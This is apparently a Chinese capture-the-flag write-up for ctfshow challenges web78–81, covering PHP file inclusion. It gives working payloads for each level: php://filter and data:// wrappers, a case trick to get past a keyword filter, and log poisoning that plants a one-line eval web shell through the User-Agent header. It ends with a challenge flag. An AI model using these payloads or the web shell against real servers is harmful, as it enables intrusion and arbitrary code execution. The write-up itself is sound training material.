ctfshow文件包含web78~81
目录
web78
方法一:filter伪协议
方法二:input协议
方法三:data协议
web79
方法一:input协议
方法二:data协议
web80
方法一:input协议
方法二:日志包含getshell
web81
web78
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
include函数执行file引入的文件,如果执行不成功,就高亮显示当前页面的源码。
可知这就是一个没有任何过滤的文件包含的题目。
方法一:filter伪协议
file关键字的get参数传递,php://是一种协议名称,php://filter/是一种访问本地文件的协议,/read=convert.base64-encode/表示读取的方式是base64编码后,resource=index.php表示目标文件为index.php。
filter伪协议构造payload
?file=php://filter/read=convert.base64-encode/resource=flag.php
得到base编码后的flag解密得到flag
方法二:input协议
php://input 是 PHP 提供的一个伪协议,允许开发者 访问 POST 请求的原始内容。对于 POST 请求数据,PHP 提供了 $_POST 与 $FILES 超全局变量,在客户端发起 POST 请求时,PHP 将自动处理 POST 提交的数据并将处理结果存放至 $_POST 与 $FILES 中。
方法三:data协议
data也是利用文件包含漏洞,将输入的代码当作php文件执行。
data协议格式:
data://[<MIME-type>][;charset=<encoding>][;base64],<data>
构造payload:
?file=data://text/plain,<?php system('tac f*');?>
将我们输入的<?php system('tac f*');?>当作php文件来执行,以达到读取flag的目的。
web79
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
可以看到在上一道题的基础上,增加了对php字符串的过滤,但是值得注意的是,过滤是区分了大小写的,这就意味着,可以使用大小写绕过,但是这里的大小写绕过对input和data协议有用,对filter协议没有用。
方法一:input协议
将php改为Php
方法二:data协议
?file=data://text/plain,<?Php system('tac f*');?>
这里要将php改为大写的,但是上面的input协议就不用,这是因为我们的参数file是通过get方式传参的,str_replace函数检查也只是检查get方式传入的值,input协议中的php是通过post方式传参的,因此不用改,data协议的php是get方式传入的,于是需要大小写绕过。
web80
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
新增了对data的过滤,对data尝试了大小写绕过,发现绕过不了,于是data协议用不了,就只能用input协议了。
方法一:input协议
方法二:日志包含getshell
在了解过后,发现这道题还可以通过日志包含getshell的方法来做。
日志文件会保存网站的访问记录,比如HTTP请求行,User-Agent,Referer等客户端信息,如果在HTTP请求中插入恶意代码,那么恶意代码就会保存到日志文件中,访问日志文件的时候,日志文件中的恶意代码就会执行,从而造成任意代码执行甚至获取shell。
首先要判断网站使用的什么服务:
对于Apache,日志存放路径:/var/log/apache/access.log
对于Ngnix,日志存放路径:/var/log/nginx/access.log 和 /var/log/nginx/error.log
查看web服务:
于是我们访问日志:
?file=/var/log/nginx/access.log
在user-agent添加木马
<?php @eval($_REQUEST['cmd']);?>
post传参,首先查看列表
cmd=system('ls');
可以看到目录下面有flag,直接cat查看
cmd=system('tac f*');
得到flag。
web81
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
过滤了冒号,伪协议不好用了,于是,这个题还是用web80的getshell方法,得到flag
ctfshow{333cb693-64d5-4c3e-b564-6fddb4621e1e}